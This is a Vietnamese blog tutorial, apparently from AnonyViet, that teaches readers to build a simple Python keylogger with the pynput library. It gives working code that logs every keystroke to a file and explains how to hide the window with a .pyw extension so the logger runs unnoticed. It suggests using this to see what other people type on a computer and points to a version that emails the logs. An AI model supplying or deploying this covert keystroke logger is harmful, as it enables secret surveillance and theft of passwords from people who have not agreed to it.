Cách Tạo KeyLogger Bằng Python đơn Giản Nhất - AnonyViet

Hôm nay mình sẽ hướng dẫn các bạn viết Code Keylogger bằng Python cực kỳ đơn giản. Hiện nay ứng dụng Python đang được phổ biến, đặc biệt là Bộ Giáo dục đã đưa Python vào chương trình học cấp 2. Do đó việc nghiên cứu Python ngay từ bây giờ không bao giờ là sớm cả. Python nổi tiếng vì các code khá dễ và có sẵn nhiều thư viện. Một trong đó là thư viện pynput giúp bạn ghi lại nhật ký bàn phím, chuột, từ đó có thể tạo ra 1 con keylogger đơn giản.

Tham gia kênh Telegram của AnonyViet 👉 Link 👈

Cách tạo KeyLogger bằng Python đơn giản nhất

Keylogger là một loại phần mềm giám sát được thiết kế để ghi lại các thao tác gõ phím của người dùng. Một trong những hình thức đe dọa an ninh mạng lâu đời nhất, tính năng ghi nhật ký tổ hợp phím này ghi lại thông tin bạn nhập bất kỳ ký tự nào trên bàn phím, Keylogger sẽ ghi lại và lưu vào 1 file sau đó sẽ gửi cho Hacker. Như vậy nếu Keylogger được cài vào máy nạn nhân, hacker có thể dễ dàng đánh cắp tài khoản, mật khẩu của bạn.

Xem thêm: Cách đo thời gian chạy 1 lệnh trong AutoIT

Các bài viết liên quan

Cách biết máy tính bị keylogger theo dõi và hướng xử lý 4

Cách biết máy tính bị keylogger theo dõi và hướng xử lý

07/08/2025 Cách Active Key Sublime Text 4 - Tải Sublime Text 4 Full Key 5

Cách Active Key Sublime Text 4 – Tải Sublime Text 4 Full Key

23/05/2025 - Updated on 25/07/2025 vibde coding là gì

Vibe Coding là gì?

14/05/2025 - Updated on 25/07/2025 Code pháo hoa trang trí cho Website dịp tết 6

Code pháo hoa trang trí cho Website dịp tết

25/01/2025 - Updated on 25/07/2025

Chỉ với câu 7 câu lệnh python bạn dễ dàng tạo ra một con Keylog đơn giản cho mình.

Trước tiên bạn cần tải và cài đặt Python 3.x (hiện tại là Python 3.9). Khi cài nhớ chọn chức năng Add Python 3.x to Path ở màn hình đầu tiên lúc cài đặt.

Bạn mở CMD quyền Administrator lên và gõ lệnh:

pip install pynput

Tiếp đến mở notepad lên, copy code keylogger dưới đây và save thành file keylog.py

from pynput.keyboard import Listener def evnt_key_press(key): f = open('key.txt','a') f.write(str(key).replace("'",'') + "\n" ) f.close() obj = Listener(on_press=evnt_key_press) obj.start() obj.join()

code keylog bằng python

Vậy là xong rồi đó, bây giờ mở CMD vơi quyền Administrator và gõ lệnh

cd C:\

python keylog.py

viết keylogger bằng python

Bây giờ trên ổ C sẽ xuất hiện file key.txt, file này sẽ lưu trữ các ký tự mà bạn đã gõ trên bàn phím. Mỗi ký tự nằm ở một hàng, bạn chịu khó ghép chữ lại nhé.

Bây giờ chỉ cần kích hoạt file keylog.py, bạn sẽ biết được những người khác đã gõ gì trên máy tính của bạn, giúp bạn kiểm soát máy tính của mình dễ dàng hơn.

Trong trường hợp bạn không muốn hiển thị cửa sổ CMD khi kích hoạt Keylog hãy đổi tên file keylog.py thành keylog.pyw

Xem thêm: ASCII Đức Phật phù hộ Code không Bug

cai keylog python

Bây giờ thì bạn có thể tắt cửa sổ CMD được rồi, keylog sẽ hoạt động ngầm mà người thường sẽ không hề hay biết.

Nếu bạn muốn tắt luôn Keylog thì mở Task Manager (Ctrl + Shift + Esc) lên và tìm Process có tên Python -> End task

tắt keylog python

Như vậy AnonyViet đã hướng dẫn bạn cách viết Keylogger bằng Python đơn giản nhất. Còn các tính năng nâng cao như gửi về email, chụp màn hình… mình sẽ nói tới ở bài sau.

Update 29/9/2021: Bạn có thể tham khảo Code Keylogger Python gửi Email tại Github AnonyViet.

Câu hỏi thường gặp

Keylogger là gì và nó hoạt động như thế nào?

Keylogger là phần mềm ghi lại các thao tác gõ phím của người dùng. Nó hoạt động bằng cách ghi lại mọi ký tự được nhập vào và lưu trữ chúng trong một file.

Tôi cần cài đặt gì để chạy mã keylogger này?

Bạn cần cài đặt Python 3.x và thư viện pynput. Bạn có thể cài đặt pynput bằng lệnh pip install pynput trong command prompt.

Làm thế nào để dừng hoạt động của keylogger?

Để dừng keylogger, bạn cần mở Task Manager (Ctrl + Shift + Esc), tìm và kết thúc tiến trình Python.

Từ khóa » Thư Viện Pynput